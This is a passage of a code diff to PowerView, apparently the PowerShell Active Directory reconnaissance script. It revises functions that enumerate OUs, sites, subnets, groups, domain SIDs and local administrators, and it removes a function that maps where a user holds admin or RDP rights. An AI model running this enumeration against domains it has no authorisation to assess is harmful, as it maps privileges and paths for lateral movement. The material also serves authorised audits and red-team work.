$_.gpcfilesyspath - - $ParseArgs = @{ - 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - 'UsePSDrive' = $UsePSDrive - } - - # parse the GptTmpl.inf 'Restricted Groups' file if it exists - $Inf = Get-GptTmpl @ParseArgs - - if($Inf.GroupMembership) { - - $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } - $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } - - if(!$Members) { - try { - $MembersRaw = $Inf.GroupMembership | Get-Member *Members | Select-Object -ExpandProperty Name - $Members = ($MembersRaw -split "__")[0].trim("*") - } - catch { - $MembersRaw = '' - } - } - - if(!$Memberof) { - try { - $MemberofRaw = $Inf.GroupMembership | Get-Member *Memberof | Select-Object -ExpandProperty Name - $Memberof = ($MemberofRaw -split "__")[0].trim("*") - } - catch { - $Memberof = '' - } - } - - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object { Convert-SidToName $_ } - $Members = $Members | ForEach-Object { Convert-SidToName $_ } - } - - if($Memberof -isnot [System.Array]) {$Memberof = @($Memberof)} - if($Members -isnot [System.Array]) {$Members = @($Members)} - - $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName - 'GPOPath' = $GPOPath - 'Filters' = $Null - 'MemberOf' = $Memberof - 'Members' = $Members - } - - New-Object -TypeName PSObject -Property $GPOProperties - } + $PageSize = 200, - $ParseArgs = @{ - 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" - 'ResolveSids' = $ResolveSids - 'UsePSDrive' = $UsePSDrive - } + [Management.Automation.PSCredential] + $Credential + ) - Get-GroupsXML @ParseArgs + process { + Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField } } -function Find-GPOLocation { +function Get-NetOU { <# .SYNOPSIS - Takes a user/group name and optional domain, and determines - the computers in the domain the user/group has local admin - (or RDP) rights to. - - It does this by: - 1. resolving the user/group to its proper sid - 2. enumerating all groups the user/group is a current part of - and extracting all target SIDs to build a target SID list - 3. pulling all GPOs that set 'Restricted Groups' by calling - Get-NetGPOGroup - 4. matching the target sid list to the queried GPO SID list - to enumerate all GPO the user is effectively applied with - 5. enumerating all OUs and sites and applicable GPO GUIs are - applied to through gplink enumerating - 6. querying for all computers under the given OUs or sites + Gets a list of all current OUs in a domain. - .PARAMETER UserName + .PARAMETER OUName - A (single) user name name to query for access. + The OU name to query for, wildcards accepted. - .PARAMETER GroupName + .PARAMETER GUID - A (single) group name name to query for access. + Only return OUs with the specified GUID in their gplink property. .PARAMETER Domain - Optional domain the user exists in for querying, defaults to the current domain. + The domain to query for OUs, defaults to the current domain. .PARAMETER DomainController Domain controller to reflect LDAP queries through. - .PARAMETER LocalGroup + .PARAMETER ADSpath - The local group to check access against. - Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), - or a custom local SID. Defaults to local 'Administrators'. + The LDAP source to search through. - .PARAMETER UsePSDrive + .PARAMETER FullData - Switch. Mount any found policy files with temporary PSDrives. + Switch. Return full OU objects instead of just object names (the default). .PARAMETER PageSize The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE - PS C:\> Find-GPOLocation -UserName dfm + PS C:\> Get-NetOU - Find all computers that dfm user has local administrator rights to in - the current domain. + Returns the current OUs in the domain. .EXAMPLE - PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local + PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local - Find all computers that dfm user has local administrator rights to in - the dev.testlab.local domain. + Returns all OUs with "admin" in their name in the testlab.local domain. - .EXAMPLE + .EXAMPLE - PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP + PS C:\> Get-NetOU -GUID 123-... - Find all computers that jason has local RDP access rights to in the domain. + Returns all OUs with linked to the specified group policy object. + + .EXAMPLE + + PS C:\> "*admin*","*server*" | Get-NetOU + + Get the full OU names for the given search terms piped on the pipeline. #> [CmdletBinding()] Param ( + [Parameter(ValueFromPipeline=$True)] [String] - $UserName, + $OUName = '*', [String] - $GroupName, + $GUID, [String] $Domain, @@ -4052,1033 +4694,6836 @@ function Find-GPOLocation { $DomainController, [String] - $LocalGroup = 'Administrators', - + $ADSpath, + [Switch] - $UsePSDrive, + $FullData, [ValidateRange(1,10000)] [Int] - $PageSize = 200 - ) - - if($UserName) { - - $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize - $UserSid = $User.objectsid + $PageSize = 200, - if(!$UserSid) { - Throw "User '$UserName' not found!" - } + [Management.Automation.PSCredential] + $Credential + ) - $TargetSid = $UserSid - $ObjectSamAccountName = $User.samaccountname - $TargetObjects = $UserSid + begin { + $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } - elseif($GroupName) { - - $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize - $GroupSid = $Group.objectsid + process { + if ($OUSearcher) { + if ($GUID) { + # if we're filtering for a GUID in .gplink + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))" + } + else { + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" + } - if(!$GroupSid) { - Throw "Group '$GroupName' not found!" - } - - $TargetSid = $GroupSid - $ObjectSamAccountName = $Group.samaccountname - $TargetObjects = $GroupSid - } - else { - $TargetSid = '*' + try { + $Results = $OUSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + $OU = Convert-LDAPProperty -Properties $_.Properties + $OU.PSObject.TypeNames.Add('PowerView.OU') + $OU + } + else { + # otherwise just returning the ADS paths of the OUs + $_.properties.adspath + } + } + $Results.dispose() + $OUSearcher.dispose() + } + catch { + Write-Warning $_ + } + } } +} - if($LocalGroup -like "*Admin*") { - $LocalSID = 'S-1-5-32-544' - } - elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { - $LocalSID = 'S-1-5-32-555' - } - elseif ($LocalGroup -like "S-1-5-*") { - $LocalSID = $LocalGroup - } - else { - throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' type sid." - } - Write-Verbose "LocalSid: $LocalSID" - Write-Verbose "TargetSid: $TargetSid" +function Get-NetSite { +<# + .SYNOPSIS - if($TargetSid -ne '*') { - if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) } + Gets a list of all current sites in a domain. - # use the tokenGroups approach from Get-NetGroup to get all effective - # security SIDs this object is a part of - $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + .PARAMETER SiteName - if($TargetSid -isnot [System.Array]) { [System.Array]$TargetSid = [System.Array]@($TargetSid) } - } + Site filter string, wildcards accepted. - Write-Verbose "Effective target sids: $TargetSid" + .PARAMETER Domain - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'UsePSDrive' = $UsePSDrive - 'PageSize' = $PageSize - } + The domain to query for sites, defaults to the current domain. - # get all GPO groups, and filter on ones that match our target SID list - # and match the target local sid memberof list - $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - if ($_.members) { - $_.members = $_.members | Where-Object {$_} | ForEach-Object { - if($_ -match '^S-1-.*') { - $_ - } - else { - # if there are any plain group names, try to resolve them to sids - (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID - } - } | Sort-Object -Unique + .PARAMETER DomainController - # stop PowerShell 2.0's string stupid unboxing - if($_.members -isnot [System.Array]) { $_.members = @($_.members) } - if($_.memberof -isnot [System.Array]) { $_.memberof = @($_.memberof) } + Domain controller to reflect LDAP queries through. - # check if the memberof contains the sid of the local account we're searching for - Write-Verbose "memberof: $($_.memberof)" - if ($_.memberof -contains $LocalSid) { - # check if there's an overlap between the members field and the set of target sids - # if $TargetSid = *, then return all results - if ( ($TargetSid -eq '*') -or ($_.members | Where-Object {$_} | Where-Object { $TargetSid -Contains $_ })) { - $_ - } - } - } - } + .PARAMETER ADSpath - $ProcessedGUIDs = @{} + The LDAP source to search through. - # process the matches and build the result objects - $GPOgroups | Where-Object {$_} | ForEach-Object { + .PARAMETER GUID - $GPOguid = $_.GPOName - $GPOMembers = $_.Members + Only return site with the specified GUID in their gplink property. - if(!$TargetObjects) { - # if the * wildcard was used, set the ObjectDistName as the GPO member sid set - $TargetObjects = $GPOMembers - } + .PARAMETER FullData - if( -not $ProcessedGUIDs[$GPOguid] ) { - $GPOname = $_.GPODisplayName - $Filters = $_.Filters + Switch. Return full site objects instead of just object names (the default). - # find any OUs that have this GUID applied and then retrieve any computers from the OU - Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { + .PARAMETER PageSize - if($Filters) { - # filter for computer name/org unit if a filter is specified - # TODO: handle other filters? - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { - $_.adspath -match ($Filters.Value) - } | ForEach-Object { $_.dnshostname } - } - else { - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize - } + The PageSize to set for the LDAP searcher object. - ForEach ($TargetSid in $TargetObjects) { + .PARAMETER Credential - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + .EXAMPLE - $GPOLocation = New-Object PSObject - $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname - $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid - $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers - $GPOLocation - } - } + PS C:\> Get-NetSite -Domain testlab.local -FullData + + Returns the full data objects for all sites in testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SiteName = "*", + + [String] + $Domain, - # find any sites that have this GUID applied - Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { + [String] + $DomainController, - ForEach ($TargetSid in $TargetObjects) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + [String] + $ADSpath, - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + [String] + $GUID, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + begin { + $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize + } + process { + if($SiteSearcher) { - $AppliedSite = New-Object PSObject - $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup - $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname - $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid - $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl - $AppliedSite + if ($GUID) { + # if we're filtering for a GUID in .gplink + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))" + } + else { + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))" + } + + try { + $Results = $SiteSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + $Site = Convert-LDAPProperty -Properties $_.Properties + $Site.PSObject.TypeNames.Add('PowerView.Site') + $Site + } + else { + # otherwise just return the site name + $_.properties.name + } } + $Results.dispose() + $SiteSearcher.dispose() + } + catch { + Write-Verbose $_ } - - # mark off this GPO GUID so we don't process it again if there are dupes - $ProcessedGUIDs[$GPOguid] = $True } } } -######################################################## -# -# Functions that enumerate a single host, either through -# WinNT, WMI, remote registry, or API calls -# (with PSReflect). -# -######################################################## - -function Get-NetLocalGroup { +function Get-NetSubnet { <# .SYNOPSIS - Gets a list of all current users in a specified local group, - or returns the names of all local groups with -ListGroups. - - .PARAMETER ComputerName + Gets a list of all current subnets in a domain. - The hostname or IP to query for local group users. + .PARAMETER SiteName - .PARAMETER ComputerFile + Only return subnets from the specified SiteName. - File of hostnames/IPs to query for local group users. + .PARAMETER Domain - .PARAMETER GroupName + The domain to query for subnets, defaults to the current domain. - The local group name to query for users. If not given, it defaults to "Administrators" + .PARAMETER DomainController - .PARAMETER ListGroups + Domain controller to reflect LDAP queries through. - Switch. List all the local groups instead of their members. - Old Get-NetLocalGroups functionality. + .PARAMETER ADSpath - .PARAMETER Recurse + The LDAP source to search through. - Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. + .PARAMETER FullData - .PARAMETER API + Switch. Return full subnet objects instead of just object names (the default). - Switch. Use API calls instead of the WinNT service provider. Less information, - but the results are faster. + .PARAMETER PageSize - .EXAMPLE + The PageSize to set for the LDAP searcher object. - PS C:\> Get-NetLocalGroup + .PARAMETER Credential - Returns the usernames that of members of localgroup "Administrators" on the local host. + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. .EXAMPLE - PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP - - Returns all the local administrator accounts for WINDOWSXP + PS C:\> Get-NetSubnet + + Returns all subnet names in the current domain. .EXAMPLE - PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse + PS C:\> Get-NetSubnet -Domain testlab.local -FullData + + Returns the full data objects for all subnets in testlab.local +#> - Returns all effective local/domain users/groups that can access WINDOWS7 with - local administrative privileges. + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SiteName = "*", - .EXAMPLE + [String] + $Domain, - PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups + [String] + $ADSpath, - Returns all local groups on the WINDOWS7 host. + [String] + $DomainController, - .EXAMPLE + [Switch] + $FullData, - PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, - Returns all local groups on the the passed hosts using API calls instead of the - WinNT service provider. + [Management.Automation.PSCredential] + $Credential + ) - .LINK + begin { + $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize + } - http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together - http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx -#> + process { + if($SubnetSearcher) { - [CmdletBinding(DefaultParameterSetName = 'WinNT')] - param( - [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)] - [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] - [Alias('HostName')] - [String[]] - $ComputerName = "$($env:COMPUTERNAME)", + $SubnetSearcher.filter="(&(objectCategory=subnet))" - [Parameter(ParameterSetName = 'WinNT')] - [Parameter(ParameterSetName = 'API')] - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, + try { + $Results = $SubnetSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" } + } + else { + # otherwise just return the subnet name and site name + if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) { - [Parameter(ParameterSetName = 'WinNT')] - [Parameter(ParameterSetName = 'API')] - [String] - $GroupName = 'Administrators', + $SubnetProperties = @{ + 'Subnet' = $_.properties.name[0] + } + try { + $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0] + } + catch { + $SubnetProperties['Site'] = 'Error' + } - [Parameter(ParameterSetName = 'WinNT')] - [Switch] - $ListGroups, + New-Object -TypeName PSObject -Property $SubnetProperties + } + } + } + $Results.dispose() + $SubnetSearcher.dispose() + } + catch { + Write-Warning $_ + } + } + } +} - [Parameter(ParameterSetName = 'WinNT')] - [Switch] - $Recurse, - [Parameter(ParameterSetName = 'API')] - [Switch] - $API - ) +function Get-DomainSID { +<# + .SYNOPSIS - process { + Gets the SID for the domain. - $Servers = @() + .PARAMETER Domain - # if we have a host list passed, grab it - if($ComputerFile) { - $Servers = Get-Content -Path $ComputerFile - } - else { - # otherwise assume a single host name - $Servers += $ComputerName | Get-NameField - } + The domain to query, defaults to the current domain. - # query the specified group using the WINNT provider, and - # extract fields as appropriate from the results - ForEach($Server in $Servers) { + .PARAMETER DomainController - if($API) { - # if we're using the Netapi32 NetLocalGroupGetMembers API call to - # get the local group information + Domain controller to reflect LDAP queries through. - # arguments for NetLocalGroupGetMembers - $QueryLevel = 2 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + .EXAMPLE - # get the local user information - $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + C:\> Get-DomainSID -Domain TEST + + Returns SID for the domain 'TEST' +#> - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + param( + [String] + $Domain, - Write-Debug "NetLocalGroupGetMembers result for $Server : $Result" - $LocalUsers = @() + [String] + $DomainController + ) - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid + if($DCSID) { + $DCSID.Substring(0, $DCSID.LastIndexOf('-')) + } + else { + Write-Warning "Error extracting domain SID for $Domain" + } +} - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 +function Get-NetGroup { +<# + .SYNOPSIS - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment + Gets a list of all current groups in a domain, or all + the groups a given user/group object belongs to. - $SidString = "" - $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString) - Write-Debug "Result of ConvertSidToStringSid: $Result" + .PARAMETER GroupName - if($Result -eq 0) { - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Error "ConvertSidToStringSid LastError: $Err" - } - else { - $LocalUser = New-Object PSObject - $LocalUser | Add-Member Noteproperty 'ComputerName' $Server - $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname - $LocalUser | Add-Member Noteproperty 'SID' $SidString + The group name to query for, wildcards accepted. - $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') - $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - # add in our custom object - $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser') + .PARAMETER SID - $LocalUsers += $LocalUser - } - } + The group SID to query for. - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + .PARAMETER UserName - # try to extract out the machine SID by using the -500 account as a reference - $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'} - $Parts = $MachineSid.SID.Split('-') - $MachineSid = $Parts[0..($Parts.Length -2)] -join '-' + The user name (or group name) to query for all effective + groups of. - $LocalUsers | ForEach-Object { - if($_.SID -match $MachineSid) { - $_ | Add-Member Noteproperty 'IsDomain' $False - } - else { - $_ | Add-Member Noteproperty 'IsDomain' $True - } - } - $LocalUsers - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } + .PARAMETER Filter - else { - # otherwise we're using the WinNT service provider - try { - if($ListGroups) { - # if we're listing the group names on a remote server - $Computer = [ADSI]"WinNT://$Server,computer" + A customized ldap filter string to use, e.g. "(description=*admin*)" - $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { - $Group = New-Object PSObject - $Group | Add-Member Noteproperty 'Server' $Server - $Group | Add-Member Noteproperty 'Group' ($_.name[0]) - $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) - $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) - $Group.PSObject.TypeNames.Add('PowerView.LocalGroup') - $Group - } - } - else { - # otherwise we're listing the group members - $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) + .PARAMETER Domain - $Members | ForEach-Object { + The domain to query for groups, defaults to the current domain. - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' $Server + .PARAMETER DomainController - $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') + Domain controller to reflect LDAP queries through. - # try to translate the NT4 domain to a FQDN if possible - $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' + .PARAMETER ADSpath - if($Name) { - $FQDN = $Name.split("/")[0] - $ObjName = $AdsPath.split("/")[-1] - $Name = "$FQDN/$ObjName" - $IsDomain = $True - } - else { - $Name = $AdsPath - $IsDomain = $False - } + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - $Member | Add-Member Noteproperty 'AccountName' $Name + .PARAMETER AdminCount - if($IsDomain) { - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) + Switch. Return group with adminCount=1. - $Member | Add-Member Noteproperty 'Description' "" - $Member | Add-Member Noteproperty 'Disabled' $False + .PARAMETER FullData - # check if the member is a group - $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') - $Member | Add-Member Noteproperty 'IsGroup' $IsGroup - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + Switch. Return full group objects instead of just object names (the default). - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' $Null - } - else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' $Null - } - } - $Member | Add-Member Noteproperty 'PwdLastSet' "" - $Member | Add-Member Noteproperty 'PwdExpired' "" - $Member | Add-Member Noteproperty 'UserFlags' "" - } - else { - # repull this user object so we can ensure correct information - $LocalUser = $([ADSI] "WinNT://$AdsPath") + .PARAMETER RawSids - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) + Switch. Return raw SIDs when using "Get-NetGroup -UserName X" - $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) + .PARAMETER PageSize - # UAC flags of 0x2 mean the account is disabled - $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) + The PageSize to set for the LDAP searcher object. - # check if the member is a group - $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + .PARAMETER Credential - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' "" - } - else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' "" - } - } + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. - $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) - $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') - $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) - } - $Member.PSObject.TypeNames.Add('PowerView.LocalUser') - $Member + .EXAMPLE - # if the result is a group domain object and we're recursing, - # try to resolve all the group member results - if($Recurse -and $IsDomain -and $IsGroup) { + PS C:\> Get-NetGroup + + Returns the current groups in the domain. - $FQDN = $Name.split("/")[0] - $GroupName = $Name.split("/")[1].trim() + .EXAMPLE - Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + PS C:\> Get-NetGroup -GroupName *admin* + + Returns all groups with "admin" in their group name. - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" + .EXAMPLE - $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + PS C:\> Get-NetGroup -Domain testing -FullData + + Returns full group data objects in the 'testing' domain +#> - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $GroupName = '*', - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName - } - else { - try { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } - } - catch { - Write-Debug "Error resolving SID : $_" - } - } + [String] + $SID, - $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" - $Member | Add-Member Noteproperty 'SID' $_.objectsid - $Member | Add-Member Noteproperty 'Description' $_.description - $Member | Add-Member Noteproperty 'Disabled' $False - $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $Member | Add-Member Noteproperty 'IsDomain' $True - $Member | Add-Member Noteproperty 'LastLogin' '' - $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet - $Member | Add-Member Noteproperty 'PwdExpired' '' - $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl - $Member.PSObject.TypeNames.Add('PowerView.LocalUser') - $Member + [String] + $UserName, + + [String] + $Filter, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $AdminCount, + + [Switch] + $FullData, + + [Switch] + $RawSids, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + begin { + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + } + + process { + if($GroupSearcher) { + + if($AdminCount) { + Write-Verbose "Checking for adminCount=1" + $Filter += "(admincount=1)" + } + + if ($UserName) { + # get the raw user object + $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1 + + if($User) { + # convert the user to a directory entry + $UserDirectoryEntry = $User.GetDirectoryEntry() + + # cause the cache to calculate the token groups for the user + $UserDirectoryEntry.RefreshCache("tokenGroups") + + $UserDirectoryEntry.TokenGroups | ForEach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in groups + if($GroupSid -notmatch '^S-1-5-32-.*') { + if($FullData) { + $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential + $Group.PSObject.TypeNames.Add('PowerView.Group') + $Group + } + else { + if($RawSids) { + $GroupSid + } + else { + Convert-SidToName -SID $GroupSid } } } } } - catch { - Write-Warning "[!] Error: $_" + else { + Write-Warning "UserName '$UserName' failed to resolve." + } + } + else { + if ($SID) { + $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" + } + else { + $GroupSearcher.filter = 